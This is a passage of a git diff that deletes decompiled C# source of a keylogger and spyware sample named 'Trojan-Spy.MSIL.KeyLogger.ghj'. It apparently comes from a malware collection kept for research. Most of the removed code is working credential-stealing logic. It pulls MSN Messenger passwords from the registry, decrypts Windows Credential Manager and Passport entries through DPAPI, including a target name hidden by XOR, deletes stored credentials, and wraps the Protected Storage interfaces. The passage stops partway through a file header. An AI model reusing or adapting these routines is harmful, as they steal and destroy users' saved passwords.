CMSNMessengerPasswords.RegQueryValueEx(hKey4, ref local10, 0, ref local11, lpData2, ref local12); - string stringAnsi2 = Marshal.PtrToStringAnsi(num4); - Marshal.FreeHGlobal(num4); - string str6 = Strings.Mid(stringAnsi2, 1, checked (Strings.Len(stringAnsi2) - 1)); - List msnPass = this.m_MSNPass; - ref string local13 = ref str6; - ref string local14 = ref str3; - lpSubKey2 = string.Empty; - ref string local15 = ref lpSubKey2; - CMSNMessengerPassword messengerPassword = new CMSNMessengerPassword(ref local13, ref local14, ref local15); - msnPass.Add(messengerPassword); - CMSNMessengerPasswords.RegCloseKey(phkResult); - } - CMSNMessengerPasswords.RegCloseKey(phkResult); - lpSubKey2 = "Software\\Microsoft\\MSNMessenger"; - CMSNMessengerPasswords.DATA_BLOB pDataIn; - CMSNMessengerPasswords.DATA_BLOB pDataOut; - if (CMSNMessengerPasswords.RegOpenKeyEx(-2147483647, ref lpSubKey2, 0, 131097, ref phkResult) == 0) - { - cb2 = 0; - int hKey5 = phkResult; - lpSubKey2 = "Password.NET Messenger Service"; - ref string local16 = ref lpSubKey2; - ref int local17 = ref num2; - IntPtr zero3 = IntPtr.Zero; - ref int local18 = ref cb2; - if (CMSNMessengerPasswords.RegQueryValueEx(hKey5, ref local16, 0, ref local17, zero3, ref local18) == 0) - { - IntPtr num5 = Marshal.AllocHGlobal(cb2); - int hKey6 = phkResult; - lpSubKey2 = "Password.NET Messenger Service"; - ref string local19 = ref lpSubKey2; - ref int local20 = ref num2; - IntPtr lpData3 = num5; - ref int local21 = ref cb2; - if (CMSNMessengerPasswords.RegQueryValueEx(hKey6, ref local19, 0, ref local20, lpData3, ref local21) != 0) - return; - pDataIn.pbData = checked (num5.ToInt32() + 2); - pDataIn.cbData = checked (cb2 - 2); - CMSNMessengerPasswords.CryptUnprotectData(ref pDataIn, 0, 0, 0, 0, 1, ref pDataOut); - string stringAnsi3 = Marshal.PtrToStringAnsi(num5); - Marshal.FreeHGlobal(num5); - string str7 = this.Base64Dec(ref stringAnsi3); - cb2 = 0; - int hKey7 = phkResult; - lpSubKey2 = "User.NET Messenger Service"; - ref string local22 = ref lpSubKey2; - ref int local23 = ref num2; - IntPtr zero4 = IntPtr.Zero; - ref int local24 = ref cb2; - num1 = CMSNMessengerPasswords.RegQueryValueEx(hKey7, ref local22, 0, ref local23, zero4, ref local24); - IntPtr num6 = Marshal.AllocHGlobal(cb2); - int hKey8 = phkResult; - lpSubKey2 = "User.NET Messenger Service"; - ref string local25 = ref lpSubKey2; - ref int local26 = ref num2; - IntPtr lpData4 = num6; - ref int local27 = ref cb2; - num1 = CMSNMessengerPasswords.RegQueryValueEx(hKey8, ref local25, 0, ref local26, lpData4, ref local27); - string stringAnsi4 = Marshal.PtrToStringAnsi(num6); - Marshal.FreeHGlobal(num6); - string str8 = Strings.Mid(stringAnsi4, 1, checked (Strings.Len(stringAnsi4) - 1)); - List msnPass = this.m_MSNPass; - ref string local28 = ref str8; - ref string local29 = ref str7; - lpSubKey2 = string.Empty; - ref string local30 = ref lpSubKey2; - CMSNMessengerPassword messengerPassword = new CMSNMessengerPassword(ref local28, ref local29, ref local30); - msnPass.Add(messengerPassword); - CMSNMessengerPasswords.LocalFree(pDataOut.pbData); - } - } - int pCount; - IntPtr lppCredentials; - CMSNMessengerPasswords.CredEnumerate("Passport.Net\\*", 0, ref pCount, ref lppCredentials); - CMSNMessengerPasswords.CREDENTIAL credential1; - CMSNMessengerPasswords.CREDENTIAL credential2; - IntPtr ptr1; - IntPtr ptr2; - IntPtr ptr3; - string str9; - if (pCount > 0) - { - CMSNMessengerPasswords.DATA_BLOB pOptionalEntropy; - pOptionalEntropy.cbData = 74; - IntPtr num7 = Marshal.AllocHGlobal(74); - string str10 = "82BD0E67-9FEA-4748-8672-D5EFE5B779B0\0"; - int num8 = 0; - do - { - Marshal.WriteInt16(num7, checked (num8 * 2), checked ((short) (Strings.Asc(Strings.Mid(str10, num8 + 1, 1)) * 4))); - checked { ++num8; } - } - while (num8 <= 36); - pOptionalEntropy.pbData = num7.ToInt32(); - int num9 = checked (pCount - 1); - int num10 = 0; - while (num10 <= num9) - { - object structure = Marshal.PtrToStructure(Marshal.ReadIntPtr(lppCredentials, checked (num10 * 4)), credential1.GetType()); - credential1 = structure != null ? (CMSNMessengerPasswords.CREDENTIAL) structure : credential2; - pDataIn.pbData = credential1.lpbCredentialBlob; - pDataIn.cbData = credential1.dwCredentialBlobSize; - pDataOut.cbData = 0; - pDataOut.pbData = 0; - CMSNMessengerPasswords.CryptUnprotectData(ref pDataIn, 0, ref pOptionalEntropy, 0, 0, 0, ref pDataOut); - List msnPass = this.m_MSNPass; - ptr1 = new IntPtr(credential1.lpUserName); - lpSubKey2 = this.CopyString(ptr1); - ref string local31 = ref lpSubKey2; - ptr2 = new IntPtr(pDataOut.pbData); - string str11 = this.CopyString(ptr2); - ref string local32 = ref str11; - ptr3 = new IntPtr(credential1.lpstrTargetName); - str9 = this.CopyString(ptr3); - ref string local33 = ref str9; - CMSNMessengerPassword messengerPassword = new CMSNMessengerPassword(ref local31, ref local32, ref local33); - msnPass.Add(messengerPassword); - CMSNMessengerPasswords.LocalFree(pDataOut.pbData); - checked { ++num10; } - } - Marshal.FreeHGlobal(num7); - } - CMSNMessengerPasswords.CredFree(lppCredentials); - this.getMSN75Passwords(); - CMSNMessengerPasswords.RegCloseKey(phkResult); - byte[] numArray = new byte[18] - { - (byte) 38, - (byte) 48, - (byte) 111, - (byte) 102, - (byte) 81, - (byte) 101, - (byte) 56, - (byte) 82, - (byte) 98, - (byte) 108, - (byte) 78, - (byte) 100, - (byte) 103, - (byte) 110, - (byte) 90, - (byte) 83, - (byte) 85, - (byte) 74 - }; - IntPtr num11 = Marshal.AllocHGlobal(38); - int num12 = 0; - do - { - byte val = checked ((byte) ((int) (byte) ((int) numArray[17 - num12] ^ 12) + (17 - num12))); - Marshal.WriteInt16(num11, checked (num12 * 2), (short) val); - checked { ++num12; } - } - while (num12 <= 17); - Marshal.WriteInt16(num11, 36, (short) 0); - CMSNMessengerPasswords.CredEnumerate(num11, 0, ref pCount, ref lppCredentials); - if (pCount > 0) - { - int num13 = checked (pCount - 1); - int num14 = 0; - while (num14 <= num13) - { - object structure = Marshal.PtrToStructure(Marshal.ReadIntPtr(lppCredentials, checked (num14 * 4)), credential1.GetType()); - credential1 = structure != null ? (CMSNMessengerPasswords.CREDENTIAL) structure : credential2; - pDataIn.pbData = credential1.lpbCredentialBlob; - pDataIn.cbData = credential1.dwCredentialBlobSize; - CMSNMessengerPasswords.CryptUnprotectData(ref pDataIn, 0, 0, 0, 0, 1, ref pDataOut); - pDataOut.pbData = pDataIn.pbData; - List msnPass = this.m_MSNPass; - ptr3 = new IntPtr(credential1.lpUserName); - str9 = this.CopyString(ptr3); - ref string local34 = ref str9; - ptr2 = new IntPtr(pDataOut.pbData); - string stringUni = Marshal.PtrToStringUni(ptr2, checked ((int) Math.Round(unchecked ((double) pDataIn.cbData / 2.0)))); - ref string local35 = ref stringUni; - ptr1 = new IntPtr(credential1.lpstrTargetName); - lpSubKey2 = this.CopyString(ptr1); - ref string local36 = ref lpSubKey2; - CMSNMessengerPassword messengerPassword = new CMSNMessengerPassword(ref local34, ref local35, ref local36); - msnPass.Add(messengerPassword); - checked { ++num14; } - } - } - CMSNMessengerPasswords.CredFree(lppCredentials); - Marshal.FreeHGlobal(num11); - } - - private void DeleteAllCred(string lpszCredPattern) - { - int pCount; - IntPtr lppCredentials; - CMSNMessengerPasswords.CredEnumerate(lpszCredPattern, 0, ref pCount, ref lppCredentials); - if (pCount > 0) - { - int num1 = checked (pCount - 1); - int num2 = 0; - while (num2 <= num1) - { - CMSNMessengerPasswords.CREDENTIAL credential1; - object structure = Marshal.PtrToStructure(Marshal.ReadIntPtr(lppCredentials, checked (num2 * 4)), credential1.GetType()); - CMSNMessengerPasswords.CREDENTIAL credential2; - credential1 = structure != null ? (CMSNMessengerPasswords.CREDENTIAL) structure : credential2; - CMSNMessengerPasswords.CredDelete(this.CopyString(new IntPtr(credential1.lpstrTargetName)), credential1.dwType, credential1.dwFlags); - checked { ++num2; } - } - } - CMSNMessengerPasswords.CredFree(lppCredentials); - } - - private void DeleteAllCred(IntPtr lpszCredPattern) - { - int pCount; - IntPtr lppCredentials; - CMSNMessengerPasswords.CredEnumerate(lpszCredPattern, 0, ref pCount, ref lppCredentials); - if (pCount > 0) - { - int num1 = checked (pCount - 1); - int num2 = 0; - while (num2 <= num1) - { - CMSNMessengerPasswords.CREDENTIAL credential1; - object structure = Marshal.PtrToStructure(Marshal.ReadIntPtr(lppCredentials, checked (num2 * 4)), credential1.GetType()); - CMSNMessengerPasswords.CREDENTIAL credential2; - credential1 = structure != null ? (CMSNMessengerPasswords.CREDENTIAL) structure : credential2; - CMSNMessengerPasswords.CredDelete(this.CopyString(new IntPtr(credential1.lpstrTargetName)), credential1.dwType, credential1.dwFlags); - checked { ++num2; } - } - } - CMSNMessengerPasswords.CredFree(lppCredentials); - } - - public void Delete(string szTargetName) - { - byte[] numArray = new byte[18] - { - (byte) 38, - (byte) 48, - (byte) 111, - (byte) 102, - (byte) 81, - (byte) 101, - (byte) 56, - (byte) 82, - (byte) 98, - (byte) 108, - (byte) 78, - (byte) 100, - (byte) 103, - (byte) 110, - (byte) 90, - (byte) 83, - (byte) 85, - (byte) 74 - }; - IntPtr num1 = Marshal.AllocHGlobal(38); - int num2 = 0; - do - { - byte val = checked ((byte) ((int) (short) ((int) numArray[17 - num2] ^ 12) + (17 - num2))); - Marshal.WriteByte(num1, checked (num2 * 2), val); - checked { ++num2; } - } - while (num2 <= 17); - Marshal.WriteInt16(num1, 36, (short) 0); - string lpSubKey1 = "Software\\Microsoft\\MessengerService"; - int phkResult; - int num3 = CMSNMessengerPasswords.RegOpenKeyEx(-2147483647, ref lpSubKey1, 0, 131078, ref phkResult); - int num4 = 0; - int hKey1 = phkResult; - string lpSubKey2 = "PasswordMSN Messenger Service"; - ref string local1 = ref lpSubKey2; - int num5; - ref int local2 = ref num5; - IntPtr zero1 = IntPtr.Zero; - ref int local3 = ref num4; - num3 = CMSNMessengerPasswords.RegQueryValueEx(hKey1, ref local1, 0, ref local2, zero1, ref local3); - if (num4 > 0) - { - int hKey2 = phkResult; - lpSubKey2 = "PasswordMSN Messenger Service"; - ref string local4 = ref lpSubKey2; - num3 = CMSNMessengerPasswords.RegDeleteValue(hKey2, ref local4); - } - CMSNMessengerPasswords.RegCloseKey(phkResult); - lpSubKey2 = "Software\\Microsoft\\MSNMessenger"; - if (CMSNMessengerPasswords.RegOpenKeyEx(-2147483647, ref lpSubKey2, 0, 131097, ref phkResult) == 0) - { - num4 = 0; - int hKey3 = phkResult; - lpSubKey2 = "Password.NET Messenger Service"; - ref string local5 = ref lpSubKey2; - ref int local6 = ref num5; - IntPtr zero2 = IntPtr.Zero; - ref int local7 = ref num4; - num3 = CMSNMessengerPasswords.RegQueryValueEx(hKey3, ref local5, 0, ref local6, zero2, ref local7); - if (num4 > 0) - { - int hKey4 = phkResult; - lpSubKey2 = "Password.NET Messenger Service"; - ref string local8 = ref lpSubKey2; - num3 = CMSNMessengerPasswords.RegDeleteValue(hKey4, ref local8); - return; - } - } - CMSNMessengerPasswords.RegCloseKey(phkResult); - string lpLibFileName = this.getProgramFilesFolderPath() + "\\MSN Messenger\\msidcrl.dll"; - if (Operators.CompareString(FileSystem.Dir(lpLibFileName), (string) null, false) != 0) - { - int hLibModule = CMSNMessengerPasswords.LoadLibrary(ref lpLibFileName); - Guid guid = new Guid(1896408858, (short) -26330, (short) 20427, new byte[8] - { - (byte) 188, - (byte) 201, - (byte) 154, - (byte) 157, - (byte) 63, - (byte) 50, - (byte) 228, - (byte) 35 - }); - CMSNMessengerPasswords.Initialize(ref guid, 1, 15); - if (Strings.Len(szTargetName) == 0) - { - int num6 = checked (this.m_MSNPass.Count - 1); - int index = 0; - while (index <= num6) - { - CMSNMessengerPassword messengerPassword = this.m_MSNPass[index]; - if (Strings.InStr(messengerPassword.TargetName, "ps:") == 1) - { - szTargetName = Strings.Mid(messengerPassword.TargetName, 4); - int lphExternalIdentity; - if (CMSNMessengerPasswords.CreateIdentityHandle(szTargetName, (int) byte.MaxValue, ref lphExternalIdentity) == 0) - { - num3 = CMSNMessengerPasswords.RemovePersistedCredential(lphExternalIdentity, "ps:password"); - num3 = CMSNMessengerPasswords.RemovePersistedCredential(lphExternalIdentity, "ps:membernameonly"); - num3 = CMSNMessengerPasswords.CloseIdentityHandle(lphExternalIdentity); - } - } - checked { ++index; } - } - } - else - { - szTargetName = Strings.Mid(szTargetName, 4); - int lphExternalIdentity; - if (CMSNMessengerPasswords.CreateIdentityHandle(szTargetName, (int) byte.MaxValue, ref lphExternalIdentity) == 0) - { - num3 = CMSNMessengerPasswords.RemovePersistedCredential(lphExternalIdentity, "ps:password"); - num3 = CMSNMessengerPasswords.RemovePersistedCredential(lphExternalIdentity, "ps:membernameonly"); - num3 = CMSNMessengerPasswords.CloseIdentityHandle(lphExternalIdentity); - } - } - CMSNMessengerPasswords.Uninitialize(); - CMSNMessengerPasswords.FreeLibrary(hLibModule); - } - if (Strings.Len(szTargetName) == 0) - { - szTargetName = "Passport.Net\\*"; - this.DeleteAllCred(szTargetName); - this.DeleteAllCred(num1); - } - else - num3 = CMSNMessengerPasswords.CredDelete(szTargetName, 1, 0); - if (Strings.Len(szTargetName) == 0) - { - szTargetName = "Passport.Net\\*"; - this.DeleteAllCred(szTargetName); - this.DeleteAllCred(num1); - } - else - num3 = CMSNMessengerPasswords.CredDelete(szTargetName, 4, 0); - Marshal.FreeHGlobal(num1); - } - - private string Base64Dec(ref string Base64String) - { - byte[] numArray = new byte[256]; - if (this.\u0024STATIC\u0024Base64Dec\u0024201E10E\u0024Enc.Length == 0) - this.\u0024STATIC\u0024Base64Dec\u0024201E10E\u0024Enc = Encoding.ASCII.GetBytes("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"); - int index1 = 0; - do - { - numArray[index1] = (byte) 64; - checked { ++index1; } - } - while (index1 <= (int) byte.MaxValue); - int index2 = 0; - do - { - numArray[(int) this.\u0024STATIC\u0024Base64Dec\u0024201E10E\u0024Enc[index2]] = checked ((byte) index2); - checked { ++index2; } - } - while (index2 <= 63); - int num1 = Strings.Len(Base64String); - byte[] bytes = Encoding.ASCII.GetBytes(Base64String); - byte[] arySrc1; - byte[] arySrc2 = (byte[]) Utils.CopyArray((Array) arySrc1, (Array) new byte[checked (unchecked (num1 / 4) * 3 - 1 + 1)]); - int num2 = Information.UBound((Array) bytes); - int index3 = 0; - while (index3 <= num2) - { - int index4; - arySrc2[index4] = checked ((byte) ((int) numArray[(int) bytes[index3]] * 4 | unchecked ((int) numArray[(int) bytes[checked (index3 + 1)]] / 16))); - int index5 = checked (index4 + 1); - arySrc2[index5] = checked ((byte) ((int) (short) ((int) numArray[(int) bytes[index3 + 1]] & 15) * 16 | unchecked ((int) numArray[(int) bytes[checked (index3 + 2)]] / 4))); - int index6 = checked (index5 + 1); - arySrc2[index6] = checked ((byte) ((int) (short) ((int) numArray[(int) bytes[index3 + 2]] & 3) * 64 | (int) numArray[(int) bytes[index3 + 3]])); - index4 = checked (index6 + 1); - checked { index3 += 4; } - } - int num3 = bytes[checked (num1 - 2)] != (byte) 61 ? (bytes[checked (num1 - 1)] != (byte) 61 ? 0 : 1) : 2; - return Encoding.ASCII.GetString((byte[]) Utils.CopyArray((Array) arySrc2, (Array) new byte[checked (Information.UBound((Array) arySrc2) - num3 + 1)])); - } - - public IEnumerator GetEnumerator() - { - this.Refresh(); - return (IEnumerator) this.m_MSNPass.GetEnumerator(); - } - - IEnumerator IEnumerable.GetEnumerator1() - { - this.Refresh(); - return (IEnumerator) this.m_MSNPass.GetEnumerator(); - } - - private enum CRED_TYPE - { - GENERIC = 1, - DOMAIN_PASSWORD = 2, - DOMAIN_CERTIFICATE = 3, - DOMAIN_VISIBLE_PASSWORD = 4, - MAXIMUM = 5, - } - - private struct DATA_BLOB - { - public int cbData; - public int pbData; - } - - private struct FILETIME - { - public int dwLowDateTime; - public int dwHighDateTime; - } - - private struct CREDENTIAL_ATTRIBUTE - { - public int lpstrKeyword; - public int dwFlags; - public int dwValueSize; - public int lpbValue; - } - - private struct CREDENTIAL - { - public int dwFlags; - public int dwType; - public int lpstrTargetName; - public int lpstrComment; - public CMSNMessengerPasswords.FILETIME ftLastWritten; - public int dwCredentialBlobSize; - public int lpbCredentialBlob; - public int dwPersist; - public int dwAttributeCount; - public int lpAttributes; - public int lpstrTargetAlias; - public int lpUserName; - } - - private struct MSNPass - { - public string strLogin; - public string strPass; - public string strTargetName; - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/CProtectStore.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/CProtectStore.cs deleted file mode 100644 index 70234d27..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/CProtectStore.cs +++ /dev/null @@ -1,127 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Roy.CProtectStore -// Assembly: Roy, Version=2.3.3.234, Culture=neutral, PublicKeyToken=null -// MVID: 2E5855C9-3623-47AC-87B3-574423C889E6 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19.exe - -using Microsoft.VisualBasic; -using Roy.PStoreLib; -using System; -using System.Runtime.InteropServices; - -namespace Roy -{ - internal class CProtectStore : CUtils - { - private IPStore m_PStore; - private PST_KEY m_KeyType; - - public CProtectStore() - { - this.m_PStore = CProtectStore.GetPStoreInterface(); - this.m_KeyType = PST_KEY.PST_KEY_CURRENT_USER; - } - - [DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int lstrlenA(int lpString); - - [DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int lstrlenW(int lpString); - - [DllImport("pstorec.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int PStoreCreateInstance( - ref IPStore ppProvider, - ref Guid pProviderID, - int pReserved, - int dwFlags); - - private static IPStore GetPStoreInterface() - { - IPStore pstoreInterface = (IPStore) null; - ref IPStore local1 = ref pstoreInterface; - Guid basePstproviderSzid = guidProvider.MS_BASE_PSTPROVIDER_SZID; - ref Guid local2 = ref basePstproviderSzid; - CProtectStore.PStoreCreateInstance(ref local1, ref local2, 0, 0); - return pstoreInterface; - } - - public PST_KEY KeyType - { - get => this.m_KeyType; - set => this.m_KeyType = value; - } - - public CTypes Types => new CTypes(this.m_PStore, this.m_KeyType); - - public CItems get_Items(Guid guidItemType, Guid guidItemSubType) => new CItems(this.m_PStore, this.m_KeyType, ref guidItemType, ref guidItemSubType); - - public void CreateType(Guid guidItemType, string szDisplayName) - { - PST_TYPEINFO pInfo; - pInfo.cbSize = Marshal.SizeOf((object) pInfo); - pInfo.szDisplayName = Marshal.StringToHGlobalUni(szDisplayName); - try - { - this.m_PStore.CreateType(this.m_KeyType, ref guidItemType, ref pInfo, 0); - } - finally - { - Marshal.FreeHGlobal(pInfo.szDisplayName); - } - } - - public void CreateSubType(Guid guidItemType, Guid guidItemSubType, string szDisplayName) - { - PST_TYPEINFO pInfo; - pInfo.cbSize = Strings.Len((object) pInfo); - pInfo.szDisplayName = Marshal.StringToHGlobalUni(szDisplayName); - try - { - PST_ACCESSRULESET pRules; - pRules.cbSize = Marshal.SizeOf((object) pRules); - pRules.cRules = 0; - pRules.rgRules = 0; - this.m_PStore.CreateSubtype(this.m_KeyType, ref guidItemType, ref guidItemSubType, ref pInfo, ref pRules, 0); - } - finally - { - Marshal.FreeHGlobal(pInfo.szDisplayName); - } - } - - public void DeleteItem(Guid guidItemType, Guid guidItemSubType, string szItemName) => this.m_PStore.DeleteItem(this.m_KeyType, ref guidItemType, ref guidItemSubType, szItemName, 0, 0); - - public void DeleteType(Guid guidItemType) => this.m_PStore.DeleteType(this.m_KeyType, ref guidItemType, 0); - - public void DeleteSubType(Guid guidItemType, Guid guidItemSubType) => this.m_PStore.DeleteSubtype(this.m_KeyType, ref guidItemType, ref guidItemSubType, 0); - - public byte[] ReadItem(Guid guidItemType, Guid guidItemSubType, string szItemName) - { - byte[] destination = (byte[]) null; - int pcbData; - IntPtr ppbData; - this.m_PStore.ReadItem(this.m_KeyType, ref guidItemType, ref guidItemSubType, szItemName, ref pcbData, ref ppbData, 0, 0); - if (ppbData != IntPtr.Zero) - { - destination = new byte[checked (pcbData - 1 + 1)]; - Marshal.Copy(ppbData, destination, 0, pcbData); - } - return destination; - } - - public void WriteItem( - Guid guidItemType, - Guid guidItemSubType, - string szItemName, - int ptrBuff, - int pcbBuff) - { - PST_PROMPTINFO pPromptInfo; - pPromptInfo.cbSize = Marshal.SizeOf((object) pPromptInfo); - pPromptInfo.dwPromptFlags = 2; - pPromptInfo.hwndApp = 0; - pPromptInfo.szPrompt = 0; - this.m_PStore.WriteItem(this.m_KeyType, ref guidItemType, ref guidItemSubType, szItemName, pcbBuff, ptrBuff, ref pPromptInfo, 1, 0); - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/CSubType.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/CSubType.cs deleted file mode 100644 index 9402eaf7..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/CSubType.cs +++ /dev/null @@ -1,51 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Roy.CSubType -// Assembly: Roy, Version=2.3.3.234, Culture=neutral, PublicKeyToken=null -// MVID: 2E5855C9-3623-47AC-87B3-574423C889E6 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19.exe - -using Roy.PStoreLib; -using System; -using System.Runtime.InteropServices; - -namespace Roy -{ - internal class CSubType : CUtils - { - private IPStore m_IPStore; - private Guid m_Guid; - private Guid m_GuidSub; - private string m_DisplayName; - private PST_KEY m_KeyType; - - public CSubType() - { - this.m_Guid = new Guid(); - this.m_GuidSub = new Guid(); - } - - internal void Init(IPStore PStore, PST_KEY KeyType, ref Guid guidType, ref Guid guidSubType) - { - this.m_IPStore = PStore; - this.m_Guid = guidType; - this.m_GuidSub = guidSubType; - int ppInfo; - this.m_IPStore.GetSubtypeInfo(KeyType, ref guidType, ref guidSubType, ref ppInfo, 0); - if (ppInfo <= 0) - return; - IntPtr ptr = new IntPtr(ppInfo); - PST_TYPEINFO pstTypeinfo1; - object structure = Marshal.PtrToStructure(ptr, pstTypeinfo1.GetType()); - PST_TYPEINFO pstTypeinfo2; - this.m_DisplayName = this.CopyString((structure != null ? (PST_TYPEINFO) structure : pstTypeinfo2).szDisplayName); - ptr = new IntPtr(ppInfo); - Marshal.FreeCoTaskMem(ptr); - } - - public void Delete() => this.m_IPStore.DeleteSubtype(this.m_KeyType, ref this.m_Guid, ref this.m_GuidSub, 0); - - public string TypeGuid => this.m_GuidSub.ToString(); - - public string DisplayName => this.m_DisplayName; - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/CSubTypes.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/CSubTypes.cs deleted file mode 100644 index ab4807ed..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/CSubTypes.cs +++ /dev/null @@ -1,174 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Roy.CSubTypes -// Assembly: Roy, Version=2.3.3.234, Culture=neutral, PublicKeyToken=null -// MVID: 2E5855C9-3623-47AC-87B3-574423C889E6 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Roy.PStoreLib; -using System; -using System.Collections; -using System.Runtime.InteropServices; - -namespace Roy -{ - internal class CSubTypes : CUtils, IEnumerable, IEnumerator - { - private IPStore m_IPStore; - private PST_KEY m_KeyType; - private Guid m_TypeGuid; - private IEnumPStoreTypes m_IEnumType; - private CSubType m_Current; - - public CSubTypes() => this.m_TypeGuid = new Guid(); - - [DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int lstrlenA(int lpString); - - [DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int lstrlenW(int lpString); - - internal void Init(IPStore PStore, PST_KEY KeyType, ref Guid guidType) - { - this.m_IPStore = PStore; - this.m_KeyType = KeyType; - this.m_TypeGuid = guidType; - this.m_IEnumType = PStore.EnumSubtypes(KeyType, ref guidType, 0); - } - - public CSubType get_Item(int Index) - { - int num1; - CSubType csubType1; - int num2; - try - { - Guid guid = new Guid(); - ProjectData.ClearProjectError(); - num1 = 2; - this.m_IEnumType.Reset(); - this.m_IEnumType.Skip(Index); - int pceltFetched; - this.m_IEnumType.Next(1, ref guid, ref pceltFetched); - csubType1 = new CSubType(); - csubType1.Init(this.m_IPStore, this.m_KeyType, ref this.m_TypeGuid, ref guid); - goto label_6; -label_1: - num2 = -1; - switch (num1) - { - case 2: - goto label_6; - } - } - catch (Exception ex) when ( - { - // ISSUE: unable to correctly present filter - int num3; - if (ex is Exception & num1 != 0 & num3 == 0) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - ProjectData.SetProjectError(ex); - goto label_1; - } - throw ProjectData.CreateProjectError(-2146828237); -label_6: - CSubType csubType2 = csubType1; - if (num2 == 0) - return csubType2; - ProjectData.ClearProjectError(); - return csubType2; - } - - public int get_Count(int Index) - { - int num1; - int num2; - int num3; - try - { - ProjectData.ClearProjectError(); - num1 = 2; - this.m_IEnumType.Reset(); - while (true) - { - this.m_IEnumType.Skip(1); - checked { ++num2; } - } -label_2: - num3 = -1; - switch (num1) - { - case 2: - goto label_7; - } - } - catch (Exception ex) when ( - { - // ISSUE: unable to correctly present filter - int num4; - if (ex is Exception & num1 != 0 & num4 == 0) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - ProjectData.SetProjectError(ex); - goto label_2; - } - throw ProjectData.CreateProjectError(-2146828237); -label_7: - int count = num2; - if (num3 == 0) - return count; - ProjectData.ClearProjectError(); - return count; - } - - public void Delete(Guid guidSubType) => this.m_IPStore.DeleteSubtype(this.m_KeyType, ref this.m_TypeGuid, ref guidSubType, 0); - - public void Add(Guid guidSubType, string szDisplayName) - { - PST_TYPEINFO pInfo; - pInfo.cbSize = Strings.Len((object) pInfo); - pInfo.szDisplayName = Marshal.StringToHGlobalUni(szDisplayName); - PST_ACCESSRULESET pRules; - pRules.cbSize = Strings.Len((object) pRules); - pRules.cRules = 0; - pRules.rgRules = 0; - this.m_IPStore.CreateSubtype(this.m_KeyType, ref this.m_TypeGuid, ref guidSubType, ref pInfo, ref pRules, 0); - Marshal.FreeHGlobal(pInfo.szDisplayName); - } - - public IEnumerator GetEnumerator() - { - this.Reset(); - return (IEnumerator) this; - } - - public void Reset() => this.m_IEnumType.Reset(); - - public object Current => (object) this.m_Current; - - public bool MoveNext() - { - Guid guid = new Guid(); - int pceltFetched; - if (this.m_IEnumType.Next(1, ref guid, ref pceltFetched) != 0) - return false; - this.m_Current = new CSubType(); - this.m_Current.Init(this.m_IPStore, this.m_KeyType, ref this.m_TypeGuid, ref guid); - return true; - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/CType_Renamed.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/CType_Renamed.cs deleted file mode 100644 index dc447116..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.ghj-a49d165972c0534f6ef5730aa1e0dd66ae9dc93656c6cd8ad725852281757a19/CType_Renamed.cs +++ /dev/null @@ -1,51 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Roy.CType_Renamed -// Assembly: Roy, Version=2.3.3.234, Culture=neutral, PublicKeyToken=null -// MVID: 2E5855C9-3623-47AC-87B3-574423C889E6 -// Assembly location: 